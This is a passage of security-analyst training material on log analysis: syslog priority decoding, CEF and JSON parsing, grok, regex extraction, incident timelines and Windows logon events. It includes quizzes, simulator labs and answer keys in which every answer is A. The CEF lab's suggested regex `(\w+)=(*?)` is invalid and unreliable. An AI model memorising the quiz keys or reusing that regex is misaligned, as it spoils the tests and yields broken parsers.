Answers: 1-A 2-A 3-A 4-A

1. Web access logs record request lines and status codes.
2. Correlation depends on consistent time.
3. It shows permitted traffic only, not content.
4. Remote copies survive tampering on the source host.

Syslog format and severity levels

Syslog is the most common transport and format for network and Unix logs, and its priority value drives filtering.

What syslog is

Syslog is a standard for sending log messages to a collector, historically over UDP port 514 and now also over TCP and TLS (commonly TCP 6514). Two message formats exist. The older BSD format of RFC 3164 is loosely structured, while RFC 5424 defines a clear structure with a version, timestamp, hostname, application name, process ID, message ID, optional structured data and a message. Many devices still emit RFC 3164 style lines, so a parser must handle both. UDP offers no delivery guarantee, so important logs should use TCP or TLS.

The PRI value

Each message begins with a priority in angle brackets, such as <34>. PRI equals facility multiplied by 8 plus severity. Facility identifies the category of sender, for example 0 kernel, 1 user, 3 daemon, 4 auth, 10 authpriv and 16 to 23 local0 to local7. Severity ranges from 0 to 7: 0 Emergency, 1 Alert, 2 Critical, 3 Error, 4 Warning, 5 Notice, 6 Informational, 7 Debug. To decode, divide PRI by 8: the quotient is the facility and the remainder is the severity. So 34 gives facility 4 (auth) and severity 2 (critical).

Reading an RFC 5424 line

A modern line looks like <34>1 2025-03-14T09:21:07Z host1 sshd 812 ID47 - Failed password. After PRI comes version 1, then an ISO 8601 timestamp in UTC (Z), hostname, application, process ID, message ID, structured data (a hyphen means none) and the free-text message. Older RFC 3164 lines use a timestamp such as Mar 14 09:21:07 without year or time zone, which creates ambiguity and is a reason to normalize time early. Always confirm the time zone of the device, since many devices default to local time.

Filtering by severity

Severity lets analysts and tools filter noise. Lower numbers are more severe, so severity 3 and below means Emergency to Error. A common mistake is reading the number as a rising importance scale. Collectors often forward only warning and above from chatty devices to save storage, but security-relevant events such as logons may be informational, so filtering must be considered carefully. Facility is also a useful filter: auth and authpriv messages hold logon and sudo data and deserve long retention, whereas debug traffic from local7 might be trimmed.

SYSLOG LINE

```
<34>1 2025-03-14T09:21:07Z fw01 sshd 812 ID47 - Failed password for invalid user test from 203.0.113.9 port 40122
```

```
PRI 34 = 4*8 + 2
facility 4 = auth
severity 2 = critical
```

WORKED EXAMPLE

A feed contains <86>, <38> and <165>. Dividing: 86 gives facility 10 (authpriv) and severity 6 (informational); 38 gives facility 4 (auth) and severity 6; 165 gives facility 20 (local4) and severity 5 (notice). The analyst wants only severity 3 and below, so none of the three qualify. Only a message such as <27> (facility 3 daemon, severity 3 error) would pass the filter.

KEY TERMS

PRI: The priority value at the start of a syslog message, facility times 8 plus severity.

Facility: The category of the message source, such as auth or kernel.

Severity: The 0 to 7 importance level, where 0 is most severe.

RFC 5424: The structured modern syslog message format.

ISO 8601: A standard timestamp format such as 2025-03-14T09:21:07Z.

REMEMBER

- $PRI = \text{facility} * 8 + \text{severity}$.
- Lower severity numbers are more severe.

- Normalize timestamps and prefer TCP/TLS for important logs.

QUICK CHECK

1. What do facility and severity equal for PRI 34?
 - A) Facility 4, severity 2
 - B) Facility 2, severity 4
 - C) Facility 34, severity 0
 - D) Facility 3, severity 4
2. Which severity level is most urgent?
 - A) 0 Emergency
 - B) 7 Debug
 - C) 4 Warning
 - D) 6 Informational
3. Why is UDP syslog risky for security logs?
 - A) No delivery guarantee
 - B) It uses TLS
 - C) It is too slow
 - D) It cannot carry text
4. What does a hyphen in the structured data field of RFC 5424 mean?
 - A) No structured data
 - B) An error
 - C) Encrypted data
 - D) A missing host

Answers: 1-A 2-A 3-A 4-A

1. 34 divided by 8 is 4 remainder 2.
2. Lower numbers are more severe.
3. UDP messages can be lost silently.
4. A hyphen is the nil value.

Structured logs: JSON and CEF

Structured records make fields searchable without fragile text parsing, but each vendor names fields differently.

Why structure matters

Plain text logs require parsing rules to separate meaning from words. Structured formats label each value, so a query can ask for `src_ip equals 192.0.2.5` without guessing character positions. The two formats a SOC meets most are JSON and CEF. Structure also helps developers add context, such as a user ID, request ID or geolocation. The trade-off is size and inconsistency: two products may call the same value `src`, `source_ip` or `client.address`, which is why normalization to a common schema is needed.

JSON logs

JSON represents data as key-value pairs in braces, with nested objects and arrays. For example `{"ts":"2025-03-14T09:21:07Z","user":"alice","src_ip":"192.0.2.5","action":"login","result":"failure"}`. Cloud services such as AWS CloudTrail and Entra ID emit JSON, and tools such as Zeek and Suricata (eve.json) can too. Nested fields are addressed with dots, such as `userIdentity.arn`. Check types: a number stored as a string will not sort numerically, and a missing key means the event simply lacks that attribute, not that it equals zero.

CEF: Common Event Format

Common Event Format (CEF) from ArcSight is a text format used by many security products. It has a header of seven pipe-separated fields followed by an extension of key=value pairs: `CEF:Version|Device Vendor|Device Product|Device Version|Signature ID|Name|Severity|Extension`. Extension keys are abbreviated, for example `src` for source address, `dst` for destination, `spt` and `dpt` for ports, `suser` for source user, `act` for action and `msg` for message. Values containing an equals sign or backslash must be escaped, and pipes in the header are escaped with a backslash, which parsers must respect.

Mapping to a common schema

Because each source names fields differently, SIEMs map them to a common model such as Splunk CIM, Elastic Common Schema (ECS) or the OCSF open schema. A CEF `src` becomes `source.ip` in ECS, `suser` becomes `user.name` and `act` becomes `event.action`. Mapping makes one query work across firewalls, proxies and endpoints. When a field is missing after mapping, check the raw event and the parser before concluding the data is absent, since many failed searches are caused by an unmapped field rather than absent activity. Documenting the mapping table for each source makes these checks much faster.

CEF EVENT

```
CEF:0|ExampleVendor|FW|1.2|100|Blocked connection|5|src=192.0.2.5 dst=198.51.100.7 spt=51234 dpt=443
act=blocked suser=alice
```

ECS mapping:

```
src -> source.ip
dst -> destination.ip
dpt -> destination.port
act -> event.action
```

WORKED EXAMPLE

A proxy emits JSON with `client.ip` and a firewall emits CEF with `src`. An analyst needs one search for activity from 192.0.2.5. Without mapping, two queries are needed. After both are mapped to `source.ip`, a single query `source.ip=192.0.2.5` returns events from both devices, and the analyst can see the firewall block directly followed by a proxy request from the same host.

KEY TERMS

JSON: A text format of nested key-value pairs and arrays.

CEF: Common Event Format, a header plus key=value extension.

Extension: The key=value portion of a CEF record.

ECS: Elastic Common Schema, a standard field naming model.

Normalization: Mapping vendor-specific fields to common names.

REMEMBER

- JSON and CEF label values so they can be searched reliably.
- CEF has seven header fields and an extension of key=value pairs.
- Map vendor fields to a common schema.

QUICK CHECK

1. How many pipe-separated header fields come before the CEF extension?
 - A) Seven
 - B) Three
 - C) Ten
 - D) Two
2. In CEF, what does dpt represent?
 - A) Destination port
 - B) Device type
 - C) Data protocol
 - D) Deny policy time
3. Why use a common schema?
 - A) One query works across different sources
 - B) It encrypts logs
 - C) It reduces CPU only
 - D) It deletes duplicates
4. A search for source.ip returns nothing for a CEF source. What is the first thing to check?
 - A) Whether src was mapped to source.ip
 - B) Whether the user is guilty
 - C) Disk space on the laptop
 - D) The monitor brightness

Answers: 1-A 2-A 3-A 4-A

1. The header has seven fields before the extension.
2. dpt is the destination port.
3. Consistent field names make queries portable.
4. Unmapped fields are a common cause of empty results.

Parsing and normalization

Parsing turns raw lines into fields; if it is wrong, every search and alert built on it is wrong too.

From raw line to fields

Parsing is the process of splitting a raw log line into named fields. Simple cases use delimiters, such as splitting on commas for CSV or spaces for a basic access log. More complex lines need patterns. Grok, used by Logstash and Elastic, names regular expression pieces, for example `%{IP:src_ip}` or `%{WORD:action}`. Other tools use regex with named groups, key=value extractors or JSON decoders. A parser should also extract the event timestamp so that the event time is used for searching, rather than the time the collector received it.

Normalization and field renaming

Normalization renames fields to the common schema, converts types and standardizes values. Timestamps become UTC in ISO 8601. Actions become a small set of words such as allow, deny, success and failure. Usernames may be lowercased and stripped of a domain prefix so that CORP\Alice and alice@example.com match, although the original is kept. Enrichment can be added at this stage, for example geolocation of an IP or the owner of a host. Keep the original raw message in a field so analysts can always see exactly what the source sent.

Common parsing failures

Parsers fail in predictable ways. A format change after a software update shifts field positions. Multi-line events, such as stack traces, are split into separate records. Timestamps without time zones are read in the wrong zone, producing a skew of hours. Delimiters appear inside values, like a comma inside a quoted user agent. Greedy patterns swallow too much. Symptoms include fields that are empty, values that contain extra text, or events that appear at the wrong time. Spot-check parsed events against raw logs regularly and alert if a source's parsed field fill rate suddenly drops.

Testing a parser

Before deploying a parser, test it against a varied sample: normal events, errors, odd characters, long values and unusual formats. Count how many lines fail to match and review each failure. Keep patterns as strict as the format allows, but include fallbacks for known variants. Document the field mapping, version the parser in source control and record which sources it covers. When a vendor updates a product, retest. Good parsing is quiet and invisible, but a broken parser can silently blind detections, so monitoring parsing health belongs in routine SOC checks.

GROK PATTERN

```
Raw:
Mar 14 09:21:07 web01 sshd[812]: Failed password for bob from 203.0.113.9 port 40122

Grok:
%{SYSLOGTIMESTAMP:ts} %{HOSTNAME:host} %{WORD:app}\[%{INT:pid}\]: Failed password for %{USERNAME:user}
from %{IP:src_ip} port %{INT:src_port}

Fields: ts, host, app, pid, user, src_ip, src_port
```

WORKED EXAMPLE

After a vendor update, a firewall adds a new field in the middle of each line. The parser still matches, but the destination port now holds the protocol name, so a detection for port 3389 stops firing. A fill-rate check shows destination.port values like tcp. The engineer updates the pattern, reprocesses recent logs and adds a test case so that a future format change causes a failed test instead of silent loss.

KEY TERMS

Parsing: Splitting raw log text into named fields.

Grok: A pattern language that names regex fragments for log parsing.

Normalization: Standardizing field names, types and values.

Fill rate: The share of events in which a field has a value.

Raw message: The original unmodified log text kept with the parsed event.

REMEMBER

- Parsing extracts fields, normalization standardizes them.
- Use the event time and keep the raw message.
- Test parsers and monitor fill rates.

QUICK CHECK

1. What is grok mainly used for?
 - A) Naming regex pieces to parse log lines
 - B) Encrypting logs
 - C) Compressing archives
 - D) Scanning ports
2. Why keep the raw message after parsing?
 - A) Analysts can verify what the source sent
 - B) It saves storage
 - C) It speeds up searches
 - D) It blocks attackers
3. A timestamp without a time zone is parsed as UTC but was local. The effect is:
 - A) Events appear shifted by hours
 - B) Events disappear forever
 - C) The logs are encrypted
 - D) Nothing changes
4. A sudden drop in a field's fill rate most likely indicates:
 - A) A parser or format problem
 - B) More secure logs
 - C) Lower traffic only
 - D) Better retention

Answers: 1-A 2-A 3-A 4-A

1. Grok maps patterns to named fields.
2. Raw text is the ground truth for checking the parser.
3. Wrong zone assumptions skew timelines.
4. Format changes often break extraction silently.

Regex for log analysis

Regular expressions let you pull addresses, users and codes out of any text log quickly with `grep`, `awk` or SIEM functions.

Core building blocks

A regular expression (regex) describes a text pattern. Literal characters match themselves. A dot matches any character, a character class such as `[0-9]` or `\d` matches a digit, and `\w` matches a word character. Quantifiers state repetition: `*` zero or more, `+` one or more, `?` zero or one, `{1,3}` between one and three. Anchors fix position: `^` is the start of a line and `$` the end. Parentheses create groups that capture matched text, and `|` means or. Special characters such as the dot need a backslash to be literal, for example `\.` matches a period.

Extracting IPs, users and codes

A simple IPv4 pattern is `([0-9]{1,3}\.){3}[0-9]{1,3}`. It also matches invalid numbers such as `999.1.1.1`, which is acceptable for extraction but not for validation. To capture a user from an SSH line use `Failed password for (invalid user )?([a-zA-Z0-9._-]+) from`. A status code in a web log can be matched with `" ([0-9]{3})` after the request. In `grep`, `-E` enables extended syntax and `-o` prints only the match. Start with a small sample, test the pattern, and then apply it to the large file.

Greedy matching and pitfalls

Quantifiers are greedy by default, meaning they match as much as they can. The pattern `.*` in the middle of a line may swallow far more than intended, so prefer specific classes like `[^ ]+` for non-space text. Beware of anchors in multi-line data, and of case: use `-i` or `(?i)` when casing varies. Complex patterns on huge inputs can be slow, and nested quantifiers can cause catastrophic backtracking in some engines. Keep patterns readable and comment them in rules so the next analyst understands why they exist.

Using regex in tools

Regex appears in many tools. Command line: `grep -oE` and `sed`. SIEM languages: Splunk `rex field=src_ip "(?<ip>...)"` and match functions, and KQL `extract` and `matches regex`. Detection formats such as Sigma, YARA and Suricata use regex too. Syntax varies slightly between engines, for example named groups and support for `\d`, so test in the tool you will actually use. After extraction, count and rank results with `sort` and `uniq -c` to find the top sources, which turns text into evidence, such as the five addresses behind most failed logins.

TERMINAL OUTPUT

```
$ grep -oE '([0-9]{1,3}\.){3}[0-9]{1,3}' auth.sample | sort | uniq -c | sort -rn | head -3
42 203.0.113.9
11 198.51.100.4
3 192.0.2.77
```

WORKED EXAMPLE

A line reads: `Mar 14 09:21:07 web01 sshd[812]: Failed password for invalid user admin from 203.0.113.9 port 40122 ssh2`. The analyst uses `grep -oE 'from ([0-9]{1,3}\.){3}[0-9]{1,3}'` to print each source, pipes through `awk '{print $2}'` to drop the word `from`, then `sort` and `uniq -c`. The result shows one address with 42 failures, so that source goes into the case for blocking.

KEY TERMS

Quantifier: A symbol such as `*`, `+` or `{n,m}` that sets how many times a pattern repeats.

Anchor: A symbol such as `^` or `$` that fixes position in the line.

Capture group: Parentheses that save matched text for reuse.

Greedy: Matching as much text as possible.

grep -oE: Print only the matching parts using extended regex.

REMEMBER

- Learn classes, quantifiers, anchors and groups.
- Use specific patterns rather than greedy `.*`.
- Combine `grep -oE` with `sort` and `uniq -c` to rank results.

QUICK CHECK

1. Which regex part matches one to three digits?
 - A) [0-9]{1,3}
 - B) [0-9]*3
 - C) \d?3
 - D) 3[0-9]
2. What does the ^ anchor match?
 - A) Start of a line
 - B) End of a line
 - C) Any digit
 - D) A literal caret only
3. Why avoid .* in the middle of a log pattern?
 - A) It is greedy and may capture too much
 - B) It is invalid syntax
 - C) It only matches digits
 - D) It is slower to type
4. What does grep -o do?
 - A) Prints only the matched part
 - B) Counts lines
 - C) Ignores case
 - D) Inverts the match

Answers: 1-A 2-A 3-A 4-A

1. {1,3} sets the repetition range.
2. ^ anchors to the beginning of a line.
3. Greedy matching can swallow unwanted text.
4. -o outputs just the matching text.

Correlation and timelines

Correlation connects separate events into a story; the timeline is the backbone of every investigation and report.

What correlation means

Correlation links events from different sources through a shared attribute such as an IP address, username, hostname, session ID or file hash. A single firewall entry means little, but the same address appearing in a firewall allow, a web server request and a successful login within minutes tells a story. SIEMs automate this, but analysts also do it by hand, pivoting from one finding to the next: from an IP to the accounts it touched, from an account to the hosts it logged in to, and from a host to the processes it ran.

Time is the key

Events can only be ordered if their times are comparable. Convert everything to UTC, account for each source's time zone and clock drift, and use the event time rather than the ingestion time. For example, an auth log in UTC-5 showing 04:10 corresponds to 09:10 UTC. If a device clock is known to be 90 seconds fast, adjust and note the correction in the case. Beware of daylight saving changes and of logs that omit the year or zone. Record the offset you applied so another analyst can verify it.

Building the timeline

Start with a known anchor, such as the alert time, then expand outward in both directions. Add one row per event with UTC time, source, host, actor, action and note. Include negative findings too, such as no outbound traffic after the login. Sort ascending, then look for gaps and patterns: a scan followed by a login, followed by a new process, followed by outbound traffic. Mark each row with its confidence and its evidence reference. Keep inferences separate from observations so readers know which entries are facts and which are assessments.

Pivoting and avoiding bias

Pivot on identifiers likely to recur: source IP, user, host, user agent, file name and domain. Widen the time window if the activity may have started earlier, because initial access often precedes the alert by days. Guard against bias: do not stop at the first plausible explanation, and look for evidence that contradicts your theory. Shared addresses such as NAT gateways can make unrelated users appear linked, so confirm with a second attribute. A finished timeline should let a colleague understand the incident and reproduce your queries without asking questions.

TIMELINE (UTC)

```
09:10:02 FW 203.0.113.9 -> web01:443 allow
09:10:15 WEB 203.0.113.9 GET /login 200
09:11:40 AUTH admin login success from 203.0.113.9
09:12:05 WEB 203.0.113.9 POST /upload.php 200
09:12:30 FW web01 -> 198.51.100.7:4444 allow
```

WORKED EXAMPLE

The firewall log is in UTC, the auth log is in UTC+2 and the web log is in UTC. An auth entry at 11:11:40 is converted to 09:11:40 UTC. Placing all three sources in order shows an external address connecting, logging in, uploading a file and the server then making an outbound connection. The sequence suggests a compromised web server, and the analyst escalates with the timeline attached.

KEY TERMS

Correlation: Linking events across sources through shared attributes.

Pivot: Moving from one finding to related data using a shared identifier.

Anchor event: A known starting point for building a timeline.

Clock drift: A gradual difference between a device clock and true time.

Event time: When the event occurred, as opposed to when it was ingested.

REMEMBER

- Correlate through IP, user, host or session identifiers.
- Normalize to UTC and record any offset.

- Separate observed facts from inferences in the timeline.

QUICK CHECK

1. An auth log reads 11:11:40 in UTC+2. What is the UTC time?

- A) 09:11:40
- B) 13:11:40
- C) 11:11:40
- D) 10:11:40

2. What is a pivot?

- A) Using a shared identifier to find related events
- B) Deleting old logs
- C) Compressing evidence
- D) Restarting a server

3. Why record negative findings in a timeline?

- A) They show what did not happen and bound the scope
- B) They shorten the report
- C) They are required by regex
- D) They replace evidence

4. Why be careful with NAT addresses when pivoting?

- A) Many users can share one address
- B) They are always malicious
- C) They have no logs
- D) They change hashes

Answers: 1-A 2-A 3-A 4-A

1. Subtract the 2-hour offset.
2. Pivoting follows an IP, user or host into more data.
3. Absence of outbound traffic is useful scoping information.
4. Shared addresses can falsely link unrelated activity.

Decode syslog priority

SCENARIO

A log viewer shows a feed from fictional device gw01 (192.0.2.1) with PRI values at the start of each line. You must compute the facility and severity from the PRI values and then filter the feed to show only severity 3 and below.

OBJECTIVE

Decode PRI values correctly and produce a filtered feed of severity 0 to 3.

STEPS IN THE SIMULATOR

- 1 **Do:** Select line 1 <34> and click Decode

Simulator shows:

34 = 4*8 + 2 -> facility 4 (auth), severity 2 (critical)

- 2 **Do:** Select line 2 <38> and decode

Simulator shows:

38 = 4*8 + 6 -> facility 4 (auth), severity 6 (informational)

- 3 **Do:** Select line 3 <27> and decode

Simulator shows:

27 = 3*8 + 3 -> facility 3 (daemon), severity 3 (error)

- 4 **Do:** Select line 4 <165> and decode

Simulator shows:

165 = 20*8 + 5 -> facility 20 (local4), severity 5 (notice)

- 5 **Do:** Select line 5 <11> and decode

Simulator shows:

11 = 1*8 + 3 -> facility 1 (user), severity 3 (error)

- 6 **Do:** Set filter severity <= 3 and apply

Simulator shows:

Filter applied: 3 of 5 lines shown (<34>, <27>, <11>)

ANSWER

Severity 3 and below returns the lines with PRI 34, 27 and 11. Lines 38 and 165 have severities 6 and 5 and are hidden.

Hint shown in the app: Divide PRI by 8: quotient is facility, remainder is severity.

Parse a CEF event

SCENARIO

A short Python parser is incomplete. It must split a CEF line into header fields and extension key-value pairs. The sample event is CEF:0|ExampleVendor|FW|1.2|100|Blocked|5|src=192.0.2.5 dst=198.51.100.7 dpt=443 act=blocked.

OBJECTIVE

Complete the parser so each header and extension field is named.

STEPS IN THE SIMULATOR

- 1 **Do:** Open parser.py and read the TODO lines

Simulator shows:

TODO 1: split header on pipe, TODO 2: parse extension pairs

- 2 **Do:** Type: `parts = line.split('|', 7)`

Simulator shows:

parts has 8 elements; header = parts[:7], ext = parts[7]

- 3 **Do:** Assign names: `ver, vendor, product, devver, sigid, name, sev = parts[:7]`

Simulator shows:

Header fields named, no errors

- 4 **Do:** Type: `pairs = dict(kv.split('=',1) for kv in ext.split(' '))`

Simulator shows:

pairs = {src: 192.0.2.5, dst: 198.51.100.7, dpt: 443, act: blocked}

- 5 **Do:** Run the tests

Simulator shows:

Test 1 header: PASS; Test 2 extension: PASS

- 6 **Do:** Run with a message containing a space (msg=hello world)

Simulator shows:

Test 3 FAIL: 'world' has no '='. Hint: split only on spaces before a new key=

ANSWER

The parser must split on the first seven pipes to separate the header from the extension, then parse key=value pairs. The edge case with spaces in values needs a regex such as `(\w+)=(*?)(?= \w+=|$)` to be robust.

Hint shown in the app: Use `split('|', 7)` so the extension stays whole.

Regex extraction drill

SCENARIO

A sample file `auth.sample` contains failed SSH login lines from several fictional addresses (203.0.113.x and 198.51.100.x). Using the simulated terminal, extract the source IPs of failed logins and count them.

OBJECTIVE

Produce a ranked count of failed-login source IPs.

STEPS IN THE SIMULATOR

- 1 **Do:** Type: `wc -l auth.sample`

Simulator shows:
120 auth.sample

- 2 **Do:** Type: `grep -c 'Failed password' auth.sample`

Simulator shows:
87

- 3 **Do:** Type: `grep 'Failed password' auth.sample | grep -oE '([0-9]{1,3}\.){3}[0-9]{1,3}' | head -3`

Simulator shows:
203.0.113.9
203.0.113.9
198.51.100.4

- 4 **Do:** Type: `grep 'Failed password' auth.sample | grep -oE '([0-9]{1,3}\.){3}[0-9]{1,3}' | sort | uniq -c | sort -rn`

Simulator shows:
61 203.0.113.9
19 198.51.100.4
7 192.0.2.77

- 5 **Do:** Type: `awk '/Failed password/ {print $(NF-3)}' auth.sample | sort | uniq -c | sort -rn | head -1`

Simulator shows:
61 203.0.113.9

- 6 **Do:** Submit top source

Simulator shows:
Correct: 203.0.113.9 with 61 failures

ANSWER

The top source of failed logins is 203.0.113.9 with 61 failures, followed by 198.51.100.4 with 19 and 192.0.2.77 with 7.

Hint shown in the app: Filter first with `grep`, then extract, sort, count and sort again.

Build a timeline

SCENARIO

Three fictional logs cover an intrusion on web01 (192.0.2.30): a firewall log in UTC, an auth log in UTC+1 and a web log in UTC. Merge them, correct the auth log offset and order the events.

OBJECTIVE

Produce a correctly ordered UTC timeline of the intrusion.

STEPS IN THE SIMULATOR

1 Do: Open the firewall log

Simulator shows:

```
09:10:02Z 203.0.113.9 -> 192.0.2.30:443 allow
09:20:10Z 192.0.2.30 -> 198.51.100.7:4444 allow
```

2 Do: Open the web log

Simulator shows:

```
09:10:15Z GET /login 200
09:12:05Z POST /upload.php 200
```

3 Do: Open the auth log

Simulator shows:

```
10:11:40 admin login success from 203.0.113.9 (UTC+1)
```

4 Do: Set auth log offset to -1 hour

Simulator shows:

```
Auth event converted to 09:11:40Z
```

5 Do: Click Merge and sort

Simulator shows:

```
Merged 5 events ascending by UTC
```

6 Do: Mark the event where the attacker first authenticated

Simulator shows:

```
Marked 09:11:40Z auth success; sequence accepted
```

ANSWER

Corrected order: 09:10:02 allow, 09:10:15 login page, 09:11:40 admin login, 09:12:05 upload.php POST, 09:20:10 outbound connection to port 4444. The auth log must be shifted by one hour to place the login before the upload.

Hint shown in the app: Subtract the UTC+1 offset before merging.

Log Analysis Essentials: 10 questions, 80% to pass

1. Which log best shows which user signed in from a given address?
 - A) Authentication log
 - B) Printer log
 - C) Disk SMART log
 - D) Power log
2. PRI 86 decodes to:
 - A) Facility 10, severity 6
 - B) Facility 6, severity 10
 - C) Facility 8, severity 6
 - D) Facility 4, severity 6
3. Which is the highest-urgency syslog severity?
 - A) 0
 - B) 3
 - C) 6
 - D) 7
4. How many pipe-separated header fields does CEF have before the extension?
 - A) Seven
 - B) Four
 - C) Twelve
 - D) Two
5. Which tool names regex fragments to parse logs such as %{IP:src_ip}?
 - A) Grok
 - B) Wireshark
 - C) Nmap
 - D) Volatility
6. Which pattern is the best simple IPv4 extractor?
 - A) ([0-9]{1,3}\.){3}[0-9]{1,3}
 - B) [a-z] +
 - C) ^.*\$
 - D) \d
7. What does grep -o print?
 - A) Only the matching text
 - B) Only line numbers
 - C) Lines that do not match
 - D) File names
8. Why convert all log times to UTC?
 - A) So events from different sources can be ordered
 - B) To shrink logs
 - C) To encrypt logs
 - D) To remove duplicates
9. An auth log in UTC-5 shows 04:10. What is the UTC time?
 - A) 09:10
 - B) 23:10 previous day
 - C) 04:10
 - D) 05:10
10. A parsed field suddenly becomes empty for a source. The most likely cause is:
 - A) A format change broke the parser
 - B) Better security
 - C) Reduced log retention policy
 - D) A new firewall rule

Answers: 1-A 2-A 3-A 4-A 5-A 6-A 7-A 8-A 9-A 10-A

1. Authentication logs record sign-ins and sources.
2. $86 = 10 \times 8 + 6$.
3. Severity 0 is Emergency.
4. The CEF header has seven fields.
5. Grok patterns map names to regex pieces.
6. Four dot-separated groups of one to three digits.
7. -o shows just the match.
8. A common time base is essential for timelines.
9. Add 5 hours to convert from UTC-5 to UTC.
10. Format changes break extraction silently.

Windows Event Logs and Sysmon

Intermediate | 7 lessons | 5 simulated labs | checkpoint | about 5h 35m

Windows hosts record rich evidence of authentication, privilege use, process execution and persistence, if auditing is configured to capture it. This module covers where Windows logs live, how to read the key authentication, Kerberos, NTLM and account management events, how logon types reveal how someone connected, what Sysmon adds, how PowerShell logging exposes script content, and which artifacts attackers use to stay on a host. These skills let you turn raw event IDs into attacker behavior.

BY THE END YOU CAN

- + Map key Windows event IDs to attacker behavior
- + Distinguish logon types and spot suspicious authentication
- + Use Sysmon and PowerShell logs to find execution and persistence

IN THIS MODULE

Lesson 1 Windows logging architecture

Lesson 2 Authentication events: 4624, 4625, 4634, 4672

Lesson 3 Logon types and Kerberos/NTLM events

Lesson 4 Account and group change events

Lesson 5 Sysmon configuration and key events

Lesson 6 Process creation and PowerShell logging

Lesson 7 Persistence artifacts

Lab 1 Failed logon triage (Log viewer)

Lab 2 Classify logon types (Mock SIEM)

Lab 3 Decode PowerShell (Terminal)

Lab 4 Sysmon process tree (Log viewer)

Lab 5 Find persistence (File explorer)

Checkpoint 10 questions, 80% to pass

Windows logging architecture

Before reading an event you need to know where it is stored and whether auditing was even enabled to create it.

The main logs and channels

Windows records events in the Event Log service, stored as .evtx files under C:\Windows\System32\winevt\Logs. The classic logs are Security, System and Application. The Security log holds audit events such as logons and privilege use and is written by the Local Security Authority. The System log records services, drivers and the operating system. The Application log holds events from installed software. Newer Applications and Services Logs add many operational channels, including Microsoft-Windows-PowerShell/Operational, Microsoft-Windows-Sysmon/Operational, TaskScheduler/Operational and WinRM/Operational. You can browse them in Event Viewer or query them with wevtutil and Get-WinEvent.

Audit policy decides what is recorded

Many security events appear only if the matching audit policy is enabled. Advanced Audit Policy Configuration groups settings into categories such as Account Logon, Logon/Logoff, Account Management, Detailed Tracking (process creation) and Object Access, each with Success and Failure options. If Audit Process Creation is off, event 4688 never appears. Policies are normally deployed through Group Policy. A common finding in investigations is that the needed auditing was not enabled, which is why baselines such as Microsoft or CIS recommendations list the minimum categories to turn on.

Event structure and size

Each event has a System section with fields such as EventID, TimeCreated, Computer and Channel, and an EventData section with details that depend on the event, for example TargetUserName, IpAddress and LogonType. Time is stored in UTC and shown in local time by the viewer, which is a trap when comparing hosts. Logs are circular: when a log reaches its maximum size old events are overwritten. The Security log default of 20 MB can cover only hours on a busy domain controller, so size should be increased and events forwarded.

Centralizing Windows logs

Because attackers with local administrator rights can clear logs, important events should be copied off the host quickly. Windows Event Forwarding (WEF) sends events to a collector using subscriptions, while agents such as Winlogbeat, the Splunk Universal Forwarder or the Azure Monitor Agent ship events to a SIEM. Choose which events to forward, as unfiltered Security logs from every workstation can be very large. A practical approach forwards logon, account management, process creation, PowerShell and Sysmon events from all hosts, with extra detail from domain controllers and servers.

TERMINAL OUTPUT (POWERSHELL)

```
PS> Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4625} -MaxEvents 2 | Format-List TimeCreated, Id

TimeCreated : 3/14/2025 9:21:07 AM
Id : 4625

TimeCreated : 3/14/2025 9:21:05 AM
Id : 4625
```

WORKED EXAMPLE

An investigator opens the Security log on a file server to find a logon from 192.0.2.77 but sees nothing before today. The log is 20 MB and covers only six hours. Checking the SIEM, the forwarded events contain the earlier logon. The finding becomes a recommendation: raise the Security log size, enable process creation auditing and keep forwarding events centrally so evidence survives rollover or deletion.

KEY TERMS

EVTX: The file format used by the Windows Event Log.

Channel: A named log such as Security or Microsoft-Windows-Sysmon/Operational.

Audit policy: Settings that determine which security events are recorded.

WEF: Windows Event Forwarding, a built-in way to collect events centrally.

Get-WinEvent: A PowerShell cmdlet to query event logs.

REMEMBER

- Know Security, System, Application and operational channels.
- Audit policy controls which events exist.
- Forward and size logs so evidence is not lost.

QUICK CHECK

1. Where does event 4688 appear, if enabled?

- A) Security log
- B) Application log
- C) Setup log
- D) Print log

2. What happens if Audit Process Creation is not enabled?

- A) Event 4688 is not generated
- B) Events are encrypted
- C) Logs are deleted
- D) Sysmon stops

3. Why forward events off the host?

- A) Attackers can clear local logs
- B) It speeds up the host
- C) Event IDs change
- D) It disables auditing

4. Which cmdlet queries event logs in PowerShell?

- A) Get-WinEvent
- B) Get-Process
- C) Set-Date
- D) Test-Path

Answers: 1-A 2-A 3-A 4-A

1. Process creation auditing writes to the Security log.
2. Many events depend on the audit policy.
3. Remote copies survive local tampering and rollover.
4. Get-WinEvent reads event logs with filters.

Authentication events: 4624, 4625, 4634, 4672

Logon events are the backbone of detecting account abuse, brute force and lateral movement.

4624 and 4625

Event 4624 records a successful logon and 4625 a failed one. Important fields are TargetUserName and TargetDomainName (the account), LogonType (how the logon happened), IPAddress and IpPort (the source), WorkstationName, AuthenticationPackageName (NTLM or Kerberos) and LogonProcessName. Do not confuse SubjectUserName, which is the account that requested the logon, often the machine account or SYSTEM, with TargetUserName, the account that logged on. For 4625 the Status and SubStatus codes explain why it failed, for example 0xC000006A for a bad password and 0xC0000064 for an unknown user name.

4634, 4647 and logon sessions

Event 4634 records that a logon session ended, and 4647 records a user-initiated logoff. Each logon receives a TargetLogonId, and the same value appears in related events such as 4672 and process creation, so you can tie actions to a session. Session duration, from 4624 to 4634 for the same LogonId, helps judge whether a login was brief or persistent. Network logons close quickly, which makes 4634 noisy, so most detections lean on 4624 and 4625 rather than logoff events.

Privileged logons: 4672

Event 4672, Special privileges assigned to new logon, fires when an account with sensitive privileges such as SeDebugPrivilege or SeBackupPrivilege logs on. It is generated for administrators, SYSTEM and some service accounts, and appears right after a 4624 with the same LogonId. A 4672 for an account that should not be privileged, or from an unusual host, deserves attention. Because administrators generate many 4672 events, useful detections focus on first-seen privileged logons, new source hosts for an admin and privileged logons at odd hours.

Reading patterns

Single events say little, patterns say more. Many 4625 events against one account suggest brute force. Many 4625 events against many accounts from one source with one password suggest password spraying. A burst of failures followed by a 4624 for the same account and source suggests success after guessing. Failures of one user across many hosts point to a stale credential or lateral movement attempts. Always note the source address and logon type before judging, since a mistyped password from the user's own laptop is usually a normal event.

EVENT EXCERPT

```
EventID: 4625
TargetUserName: svc-backup
LogonType: 3
Status: 0xC000006D SubStatus: 0xC000006A
IPAddress: 203.0.113.50
WorkstationName: -
AuthenticationPackageName: NTLM
```

(6 events in 20 s, then 4624 for svc-backup from the same IP)

WORKED EXAMPLE

